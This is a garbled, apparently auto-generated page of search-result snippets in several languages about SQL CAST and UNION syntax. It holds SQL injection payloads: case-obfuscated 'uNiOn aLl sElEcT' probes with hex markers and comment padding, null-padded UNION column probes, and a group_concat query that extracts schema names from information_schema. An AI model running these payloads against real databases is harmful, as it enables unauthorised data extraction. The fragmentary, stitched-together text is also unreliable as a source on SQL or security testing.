select cast (2000 as type of quint) from rdb$database select cast (2000 as int) from rdb$database. If TYPE OF is used with a (VAR)CHAR type, its character.
Union select null, null, null, null, null, null, null from information_schema.tables. for a small database containing three tables. this instruction is used in sql injection I tried it and it worked but I didn't really know how it works can somebody help me...
Best Result For : 999999.9 uNiOn aLl sElEcT cAsT 0x393133353134353632312e39 as char
SELECT CAST (miles AS INT) FROM Flights -- convert timestamps to text INSERT ... type to use it SELECT airline FROM Airlines UNION ALL VALUES ( CAST (NULL AS CHAR. ... for : 999999.9 uNiOn aLl sElEcT cAsT 0x393133353134353632312e39 as char. ... as char)...
Extract database with information_schema. Then the following codes will extract the databases'name, tables'name, columns'name. UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,schema_name,0x7c)+fRoM+information_schema.schemata UniOn...
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כל מה שקשור ל999999.9+/**/uNiOn/**/aLl+/**/sElEcT+0x393133353134353632312e39,0x393133353134353632322e39
CHAR() (SM): SELECT CHAR(64) Переводит ASCII-код в соответствующий символ. 9. Оператор UNION С оператором UNION можно делать запросы к пересечению таблиц.
'999999.9' /**/uNiOn/**/aLl /**/sElEcT 0x393133353134353632312e39,0x393133353134353632322e39,0x393133353134353632332e39 and '0'='' için Arama Sonuçları.
So, as it's being used a lot, I would submit my answer. In my opinion, the aim of these requests is to check the presence or absence of a sql injection.